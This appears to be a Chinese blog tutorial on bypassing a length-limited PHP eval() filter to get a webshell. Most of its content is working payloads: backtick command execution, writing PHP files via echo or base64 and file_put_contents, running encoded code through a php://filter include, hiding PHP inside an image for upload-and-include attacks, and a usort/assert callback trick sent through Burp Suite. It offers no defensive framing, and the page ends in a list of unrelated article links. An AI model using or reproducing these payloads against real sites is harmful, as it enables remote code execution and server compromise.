当前位置: 首页 > news >正文

EVAL长度限制突破方法

EVAL长度限制突破方法

<?php
$param = $_REQUEST['param']; 
If (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false) //长度小于17,没有eval和assert关键字
{eval($param);
}
//stripos — 查找字符串首次出现的位置(不区分大小写)

在这里插入图片描述

eval函数参数限制在16个字符的情况下,如何拿到Webshell?

`$_GET[1]’

相似答案:

exec($_GET[1]); 

linux下反引号可以执行命令

?param=echo $_GET[0];&0=id

在这里插入图片描述

那么就可以写一些内容到一些文件里去

在这里插入图片描述

再访问一下

param=echo%20$_GET[0];&0=param=echo $_GET[0];&0=echo ‘<?php phpinfo();’ > a.php

写入成功

在这里插入图片描述

也可以使用base64编码写入:echo PD9waHAgcGhwaW5mbygpOw | base64 -d > aa.php

param=$_GET1;

param=$_GET[1](N,P,8); &1=file_put_contents //file_put_contents将数据写入文件
......
最后把PD9waHAgcGhwaW5mbygpOw写进文件N。
那怎么解码执行呢?
param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
read读取N里面的内容进行base64解码。虽然N不是php文件,但是文件包含可以把任意一个文件里面的php代码执行起来php:// — 访问各个输入/输出流(I/O streams)
php://filter是一种元封装器, 设计用于数据流打开时的筛选过滤应用。(可用的过滤器:字符串过滤器、转换过滤器、压缩过滤器、加密过滤器)
这里用转换过滤器:convert.base64-encode 和 convert.base64-decode。使用这两个过滤器等同于分别用 base64_encode()base64_decode() 函数处理所有的流数据。
文件包含

找一张普通图片

在这里插入图片描述

写一个php文件
在这里插入图片描述

copy /b 001.png + web.php /a web.jpg----------/b → 表示以二进制模式处理 001.png

​ + → 表示合并文件。

​ web.php→ 第二个文件。

​ /a→ 表示以 ASCII 文本模式 处理 web.php。

​ web.jpg → 最终输出的文件名。

在这里插入图片描述

web.jpg可以正常打开看到图片,使用记事本打开图片,可以在文件的最后看到写入的php代码。

在这里插入图片描述

很多网站都有上传图片的功能(上传头像等),上传之后检查代码就可以看到上传的路径,用include_$GET[‘文件路径’]就可以了。

在这里插入图片描述

在这里插入图片描述

文件包含可以把任意一个文件里面的php代码执行起来

在这里插入图片描述

usort(…$_GET);

?1[]=test&1[]=phpinfo();&2=assert

在windows上访问

在这里插入图片描述

使用BurpSuite抓包

在这里插入图片描述

抓到之后发送给Repeater,然后转换为POST

在这里插入图片描述

在这里插入图片描述

在php的整体运行流程中允许POST和GET同步执行

(…$_GET(变长参数))把1[]=test&1[]=phpinfo();&2=assert接过来了,然后就放到usort中,一个数组,一个回调函数。

在这里插入图片描述

发送

在这里插入图片描述

http://www.dtcms.com/a/296265.html

相关文章:

  • FastGPT:企业级智能问答系统,让知识库触手可及
  • 使用Claude Code从零到一打造一个现代化的GitHub Star项目管理器
  • 密码学与加密货币:构建去中心化信任的技术基石与未来挑战
  • 离线环境下如何优雅地部署 Mentor Questa
  • 在Ubuntu上使用QEMU仿真运行ARM汇编
  • 【​I2S:芯片设计中的“音频桥梁”​】
  • 使用 eBPF 实时捕获 TCP 重传告警:精准定位网络抖动问题
  • 点击按钮滚动到底功能vue的v-on:scroll运用
  • 亚马逊云科技实战架构:构建可扩展、高效率、无服务器应用
  • MinIO Go 客户端使用详解:对象存储开发实战指南
  • 风波不断,“奶粉第一股”贝因美渡劫
  • nginx有几种日志
  • 【vector定义】vector f(k, vector<int>(k));
  • 第三章:掌握 Redis 存储与获取数据的核心命令
  • 阿里v1支付系列验证码逆向/百度成语点选vmp逆向
  • 基于深度学习的胸部 X 光图像肺炎分类系统(四)
  • 电脑录屏软件推荐:如何使用oCam录制游戏、教程视频
  • 视频二维码在产品设备说明书中的应用
  • Docker4-容器化企业级应用
  • C++map和set
  • leetcode101.对称二叉树树(递归练习题)
  • 基于20和28 nm FPGAs的实现多通道、低非线性时间到数字转换器
  • 安全插座项目规划书
  • 嵌入式软件--stm32 DAY 9 定时器
  • 第五章 Freertos物联网实战 微信小程序篇
  • RCW(Rear Collision Warning)后向碰撞预警功能介绍
  • 从零开始学 Pandas:数据处理核心操作指南
  • TDengine 转化类函数 TO_CHAR 用户手册
  • 高级04-Java 设计模式:常用模式详解与实战
  • 时序数据库IoTDB的核心功能特性